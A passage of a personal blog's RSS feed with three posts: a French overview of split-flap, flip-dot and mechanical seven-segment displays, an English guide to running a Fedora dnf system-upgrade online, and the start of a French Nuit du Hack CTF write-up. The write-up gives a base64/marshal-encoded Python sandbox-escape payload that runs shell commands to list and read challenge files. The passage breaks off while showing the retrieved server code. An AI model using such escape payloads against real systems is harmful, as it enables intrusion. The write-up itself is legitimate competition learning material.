D’un point de vue commercial, ils sont encore produits mais seulement au cas par cas, et sont très probablement beaucoup plus couteux que des écrans traditionnels. Un designer anglais, &lt;a href=&quot;http://tomlynch.co.uk/split-flap-display/&quot;&gt;Tom Lynch&lt;/a&gt; et une entreprise, &lt;a href=&quot;http://www.oatfoundry.com/split-flap/&quot;&gt;OatFoundry&lt;/a&gt; se proposent d’en vendre :&lt;/p&gt;

&lt;iframe width=&quot;520&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/cfVviJXjN6w?rel=0&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;br /&gt;
Mais peut-on en fabriquer un soit-même ? Certains ont réussi. Mais pour commencer, comment ça marche ? Chaque palette possède sur sa face avant la partie haute d’un signe, et sur sa face arrière, la partie basse du signe suivant. Un élément retient la palette du haut pour que les deux palettes puissent être à la verticale et reconstituer le signe.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/inerte_02.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/inerte_02.png&quot; alt=&quot;Brevet&quot; /&gt;&lt;/a&gt;
&lt;em&gt;Brevet - E. Cappellari - &lt;a href=&quot;https://commons.wikimedia.org/wiki/File:Analog_clock_with_digital_display.png&quot;&gt;Wikipedia&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Certaines personnes ont posté des vidéo sur Youtube de systèmes qu’elles ont réussi à récupérer. Après une recherche rapide, je n’ai rien trouvé en seconde main. Par contre il existe plusieurs guides pour en construire un de zéro :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.instructables.com/id/Split-Flap-Display/&quot;&gt;Split Flap Display par Jonathan Odom&lt;/a&gt; proposant un kit complet avec une finition exemplaire&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scottbez1.github.io/splitflap/&quot;&gt;splitflap par Scott Bezek&lt;/a&gt; est un projet assez poussé, proposant des solutions pour construire l’objet avec peu de moyens.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.thingiverse.com/thing:2369832&quot;&gt;Dead simple split flap display par Piotr K.&lt;/a&gt; est un guide avec peu d’étapes et en impression 3D mais ne propose pas de boitier.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackaday.io/project/1281-split-flap-display&quot;&gt;Split Flap Display par mlo&lt;/a&gt; propose un afficheur en bois et avec des feuilles pour commencer, avec un journal de construction.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;br /&gt;
Avec beaucoup de motivations, certains ont réussi à créer des choses impressionnantes :&lt;/p&gt;

&lt;iframe src=&quot;https://player.vimeo.com/video/233180787&quot; width=&quot;520&quot; height=&quot;293&quot; frameborder=&quot;0&quot; webkitallowfullscreen=&quot;&quot; mozallowfullscreen=&quot;&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;br /&gt;
Si vous voulez en connaitre plus sur l’histoire de ces machines, je vous recommande le &lt;a href=&quot;http://www.ariadr.fr/les-webdocs/splitflap/&quot;&gt;Webdoc d’AriaDR&lt;/a&gt;, réalisé dans le cadre d’un projet destiné à &lt;em&gt;recenser et étudier les innovations oubliées, abandonnées, délaissées ou résurgentes&lt;/em&gt;. Ce dernier retrace l’histoire de ces panneaux de leur création à aujourd’hui.&lt;/p&gt;

&lt;h2 id=&quot;girouette-à-pastilles&quot;&gt;Girouette à pastilles&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/inerte_03.jpg&quot;&gt;&lt;img src=&quot;/assets/images/posts/inerte_03.jpg&quot; alt=&quot;Affichage girouette à pastilles&quot; /&gt;&lt;/a&gt;
&lt;em&gt;Bus au départ - ŠJů - CC-BY-SA - &lt;a href=&quot;https://commons.wikimedia.org/wiki/File:D%C4%9B%C4%8D%C3%ADn,_autobusov%C3%A9_n%C3%A1dra%C5%BE%C3%AD,_displej_odjezd%C5%AF.jpg&quot;&gt;Wikipedia&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;On les retrouve aussi sous les noms Flip-dots display et Flip-disc display. Ces affichages se retrouvent beaucoup dans la signalétique des transports en commun, particulièrement les bus. Ils ont été développé par Ferranti-Packard, une filiale canadienne de Ferranti, à la demande d’Air Canada, mais utilisé la première fois par la bourse de Montréal en 1961.&lt;/p&gt;

&lt;p&gt;D’un point de vue industriel, seule l’entreprise polonaise &lt;a href=&quot;https://flipdots.com/en/home/&quot;&gt;AlfaZeta&lt;/a&gt; semble produire encore ces dispositifs pour autre chose que l’évènementiel / l’aspect retro. L’entreprise &lt;a href=&quot;https://breakfastny.com/flip-disc/&quot;&gt;Breakfast NY&lt;/a&gt; (vidéo) ne précise pas si elle produit elle-même les panneaux ou si elle se base sur les panneaux d’AlfaZeta pour ses produits (capture d’image et raffraichissement à 30 images par seconde).&lt;/p&gt;

&lt;iframe width=&quot;520&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/s94PscZJ5EE?rel=0&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;br /&gt;
Pour ce qui est du fonctionnement, chaque pastille correspond à un pixel. D’un côté la pastille est noire, de l’autre elle est peinte d’une couleur flurorescente. La pastille possède un aimant, on obtient sa rotation en faisant passer de l’electricité dans un fil pour soit attirer l’aimant, soit le repousser.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/inerte_04.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/inerte_04.png&quot; alt=&quot;Explication de la girouette à pastille&quot; /&gt;&lt;/a&gt;
&lt;em&gt;Image extraite du site web d’AlfaZeta&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Pour ce qui est de fabriquer soit même son afficheur &lt;em&gt;girouette à pastilles&lt;/em&gt;, cela semble plus compliqué, à ce jour je n’ai trouvé aucun guide pour en réaliser un de zéro.
En effet, l’élément de base semble être souvent l’afficheur &lt;a href=&quot;https://flipdots.com/en/products-services/flip-dot-boards-xy5/&quot;&gt;AlfaZeta Flip-Dot Boards XY5 7x28&lt;/a&gt;. Malheureusement le prix n’est pas public.
Une autre possibilité est de récupérer des afficheurs de bus et de faire de la rétro ingénierie comme pour le projet &lt;a href=&quot;http://dhenshaw.net/art/Dottie/start.html&quot;&gt;Dottie&lt;/a&gt;.&lt;/p&gt;

&lt;iframe width=&quot;520&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/68SsdXE5wMg?rel=0&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;br /&gt;
Bon courage si vous souhaitez vous lancer dans un tel projet donc !&lt;/p&gt;

&lt;h2 id=&quot;afficheur-7-segments-mécaniques&quot;&gt;Afficheur 7 segments mécaniques&lt;/h2&gt;

&lt;p&gt;En anglais “mechanical seven-segment display”, à ne pas confondre avec les autres affichages 7-segments qui nécessitent d’être alimentés en permanence. C’est probablement le dispositif le moins cher à produire de cet article. Par contre il ne permet d’afficher que des nombres.&lt;/p&gt;

&lt;p&gt;On peut trouver plusieurs guides pour les fabriquer soit même, avec des briques Lego, ou des pièces en pastiques imprimées. L’idée est d’avoir, sur un fond noir, des segments fluorescents que l’on tourne de 90°C lorsqu’on ne veut pas les afficher.&lt;/p&gt;

&lt;iframe width=&quot;520&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/EEdd_M6f8BU?rel=0&amp;amp;start=10&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;
&lt;p&gt;Un exemple de réalisation DIY : &lt;a href=&quot;http://g33k.blogspot.fr/2013/12/servo-driven-7-segment-display.html&quot;&gt;Servo Driven 7-segment Display&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ceci dit, on peut trouver ces pièces pour environ 10$. Il est intéressant de noter que AlfaZeta vend également des afficheurs 7-segments mécaniques de différentes tailles. Par contre, je n’ai trouvé aucun afficheur 14-segments mécaniques. Il n’est donc pas possible d’afficher des lettres.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/inerte_05.jpg&quot; alt=&quot;AlfaZeta&quot; /&gt;
&lt;em&gt;Un grand affichage 7-segments AlfaZeta&lt;/em&gt;&lt;/p&gt;

&lt;!--
## Encre électronique

*Bientôt*

## Prototypes

*Bientôt : [Pixel Track by Cloudberg](https://www.designboom.com/technology/pixel-track-berg-cloud-connected-signage-system-05-29-2014/)*

--&gt;
</description>
        <pubDate>Tue, 28 Nov 2017 00:00:00 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2017-11-28/affichages-inertes/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2017-11-28/affichages-inertes/</guid>
      </item>
    
    
    
      <item>
        <title>Online Fedora Upgrade</title>
        
        <description>&lt;p&gt;I have installed Fedora on my computer 3 or 4 years ago. Since this installation, I have installed many packages and upgraded it every 6 months. Unfortunately, Gnome Software has never worked for me, and I never took the time to debug it. Like many people, I am using the old method with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnf-system-upgrade&lt;/code&gt;, which worked pretty well. But this time, I had a segfault on dnf during the offline upgrade. The only information I got was the following lines:&lt;/p&gt;

&lt;pre style=&quot;white-space: pre&quot;&gt;
kernel: dnf[846]: segfault at 8 ip 00007f39b860f724 sp 00007ffd00588520 error 4 in libc-2.25.so[7f39b8586000+1cb000]
systemd[1]: dnf-system-upgrade.service: Main process exited, code=dumped, status=11/SEGV
systemd[1]: Failed to start System Upgrade using DNF.
&lt;/pre&gt;

&lt;p&gt;Just after the segfault, my computer rebooted on Fedora 26.&lt;/p&gt;

&lt;h2 id=&quot;how-dnf-system-upgrade-works&quot;&gt;How dnf-system-upgrade works&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Some information presented here could be not totally accurate. If you have a doubt, please follow the links.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnf-system-upgrade&lt;/code&gt; uses a feature of systemd described here: &lt;a href=&quot;https://www.freedesktop.org/software/systemd/man/systemd.offline-updates.html&quot;&gt;Implementing Offline System Updates&lt;/a&gt;.
By creating a symlink named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/system-update&lt;/code&gt;, at the next reboot systemd will boot to a specific target named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system-update.target&lt;/code&gt;. That’s what we name “an offline upgrade” contrary to an upgrade run in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;default.target&lt;/code&gt; which I call “an online upgrade”.&lt;/p&gt;

&lt;p&gt;But when will this symlink created ? When you run the following command:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;dnf system-upgrade reboot
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We can see &lt;a href=&quot;https://github.com/rpm-software-management/dnf-plugins-extras/blob/master/plugins/system_upgrade.py&quot;&gt;in the source of the plugin&lt;/a&gt; that a symlink pointing to a dnf folder is created:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;DEFAULT_DATADIR&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/var/lib/dnf/system-upgrade&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;MAGIC_SYMLINK&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/system-update&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# ...
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;symlink&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DEFAULT_DATADIR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MAGIC_SYMLINK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# ...
&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;reboot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can now investigate which services are triggered by this target:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;$ ls /usr/lib/systemd/system/system-update.target.wants/
dnf-system-upgrade.service  fwupd-offline-update.service  packagekit-offline-update.service
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We are specifically interested by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnf-system-upgrade.service&lt;/code&gt; which basically run the following command:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;dnf --releasever=27 system-upgrade upgrade
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;At the end of this script, the symlink &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/system-update&lt;/code&gt; is destroyed and the computer rebooted.&lt;/p&gt;

&lt;h2 id=&quot;upgrading-online-to-bypass-the-bug&quot;&gt;Upgrading online to bypass the bug&lt;/h2&gt;

&lt;p&gt;I didn’t have any idea to debug this segfault in the offline mode.
So I searched a way to run this command on an online system.
If the command segfaults, I’ll have some tools to investigate it.
If the command works, I’ll have an upgraded system.
In my case, once run online, everything went well.&lt;/p&gt;

&lt;p&gt;Before typing any command, you must know that this tool is not intended to be run this way.
You may break your Fedora installation or kill your family.
You really should run all your commands in a virtual terminal as it will not kill dnf if Gnome crashes during the install.&lt;/p&gt;

&lt;p&gt;First, you must have downloaded the update:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;dnf upgrade --refresh
dnf system-upgrade download --releasever=27
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;For more information, you can refer to the article &lt;a href=&quot;https://fedoramagazine.org/upgrading-fedora-26-fedora-27/&quot;&gt;Upgrading Fedora 26 to Fedora 27&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Then, you will need to update dnf-system-upgrade configuration stored in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/lib/dnf/system-upgrade.json&lt;/code&gt; and set “upgrade_status” to “ready”:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;download_status&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;upgrade_status&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ready&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;lt;---&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;exclude&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;allow_erasing&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;datadir&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/var/lib/dnf/system-upgrade&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;distro_sync&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;best&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;target_releasever&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;27&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;system_releasever&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;26&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;releasever&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;23&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;install_packages&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;enable_disable_repos&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You must create the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/system-update&lt;/code&gt; symlink, otherwise the upgrade command will fail:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;ln -s /var/lib/dnf/system-upgrade /system-update
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And finally, you can run the upgrade command:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;dnf --releasever=27 system-upgrade upgrade
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Your computer will automatically reboot at the end. Now you’ll have either a working Fedora 27 or a broken Linux distribution. Good luck and have fun !&lt;/p&gt;
</description>
        <pubDate>Sat, 25 Nov 2017 00:00:00 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2017-11-25/online-upgrade-fedora/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2017-11-25/online-upgrade-fedora/</guid>
      </item>
    
    
    
      <item>
        <title>Write-Up Wargame Nuit du Hack XV</title>
        
        <description>&lt;p&gt;J’ai participé en équipe sous le nom de The Magic Modbus (vous comprendrez en lisant la suite de cet article) au wargame de la Nuit du Hack et aux challenges Intrinsec.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Les règles sont simples : trouvez les &lt;em&gt;flags&lt;/em&gt; cachés dans les challenges pour gagner des points. Plus vous êtes rapide pour valider un &lt;em&gt;flag&lt;/em&gt;, plus vous gagnez de points. Les flags sont des chaînes de caractères commençant par &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ndh2k17&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Dans cet article, je détaille le chemin suivi pour les challenges auxquels j’ai contribué à trouver la solution.
Vous trouverez l’explication d’autres challenges par d’autres membres de mon équipe :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.lesterpig.com/post/ndhxv-wargame-tictactoe/&quot;&gt;NdH XV Wargame Write-Up: Tic-Tac-Toe (web)&lt;/a&gt; par &lt;a href=&quot;https://lesterpig.com/&quot;&gt;Lesterpig&lt;/a&gt; (en)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.tclaverie.eu/posts/wargame-ndh-xv---write-up-radio-three/&quot;&gt;Wargame NDH XV - Write-Up Radio Three &lt;/a&gt; par &lt;a href=&quot;https://tclaverie.eu/&quot;&gt;Elykar&lt;/a&gt; (fr)&lt;/li&gt;
&lt;/ul&gt;

&lt;div style=&quot;margin-top: 20px&quot;&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/posts/ndh-magic-modbus.png&quot;&gt;&lt;img src=&quot;/assets/images/posts/ndh-magic-modbus.png&quot; alt=&quot;Logo The Magic Modbus&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;intrinsec--escape-from-pyjail-to-mars&quot;&gt;Intrinsec : Escape from pyjail to MARS&lt;/h2&gt;

&lt;p&gt;Au moment de l’écriture de ce Write-Up, il est encore possible d’accéder aux &lt;a href=&quot;https://ndh.intrinsec.com/challenges&quot;&gt;challenges Intrinsec&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On commence le challenge par la ligne suivante, une connexion TCP sur le port 8001 sur un serveur d’Intrinsec :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;nc ndh.intrinsec.com 8001
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Lors de la connexion, on a le prompt suivant :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;Welcome soldier, hope that you speak base64 fluently !
b64_Snake &amp;gt;&amp;gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;On sait donc que l’on va devoir communiquer en base64 avec un shell python.
Cependant le fait de convertir une simple expression python en base64 cause l’erreur suivante :&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;You should tell this to the marshal.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Après plusieurs essais, nous nous penchons sur la classe &lt;a href=&quot;https://docs.python.org/2/library/marshal.html&quot;&gt;marshal&lt;/a&gt; qui permet de serializer des objets. On aboutit alors à la fonction d’encodade suivante :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;marshal&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;b64encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;marshal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dumps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pour la suite, nous nous sommes basés sur le &lt;a href=&quot;https://securite.intrinsec.com/2016/05/17/breizhctf-2016-write-up-pyjail-1-2-3/&quot;&gt;Write-Up du BreizhCTF 2016 d’Intrinsec&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On a donc :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
wclass = ().__class__.__base__.__subclasses__()[59]()
print wclass._module.__builtins__[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;__import__&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;).popen(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;ls -alR &amp;amp;amp;&amp;amp;amp; cat chall/*&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;).read()
&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On peut alors récupérer le code du serveur :&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/python
&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;marshal&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;loads&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b64decode&lt;/span&gt;


